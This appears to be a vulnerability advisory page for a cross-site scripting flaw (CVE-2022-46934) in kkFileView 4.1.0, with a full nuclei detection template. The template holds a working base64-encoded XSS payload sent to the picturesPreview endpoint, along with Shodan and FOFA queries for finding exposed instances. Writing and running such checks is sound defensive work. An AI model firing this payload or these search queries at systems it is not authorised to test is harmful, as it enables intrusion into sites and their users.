kkFileView 4.1.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.1%likelihood of exploitation, next 30 days

66%of all CVEs are less likely

Readycheck to confirm it

kkFileView 4.1.0 is susceptible to cross-site scripting via the url parameter at /controller/OnlinePreviewController.java. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of kkFileView or apply the necessary security patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/picturesPreview?currentUrl=aHR0cDovLyIpO2FsZXJ0KGRvY3VtZW50LmRvbWFpbik7Ly8=&urls
Positive when: contains "document.getElementById(\"http://\");alert(document.domain);/…" and "viewer.min.css" AND status 200

Run it with nuclei: nuclei -id CVE-2022-46934 -u <target>

The full check

id: CVE-2022-46934

info:
  name: kkFileView 4.1.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    kkFileView 4.1.0 is susceptible to cross-site scripting via the url parameter at /controller/OnlinePreviewController.java. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of kkFileView or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/411
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46934
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-46934
    cwe-id: CWE-79
    epss-score: 0.01084
    epss-percentile: 0.65493
    cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: keking
    product: kkfileview
    shodan-query:
      - http.html:"kkFileView"
      - http.html:"kkfileview"
    fofa-query:
      - body="kkfileview"
      - app="kkfileview"
  tags: cve,cve2022,xss,kkfileview,keking,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/picturesPreview?currentUrl=aHR0cDovLyIpO2FsZXJ0KGRvY3VtZW50LmRvbWFpbik7Ly8=&urls"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - document.getElementById("http://");alert(document.domain);//").click();
          - viewer.min.css
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from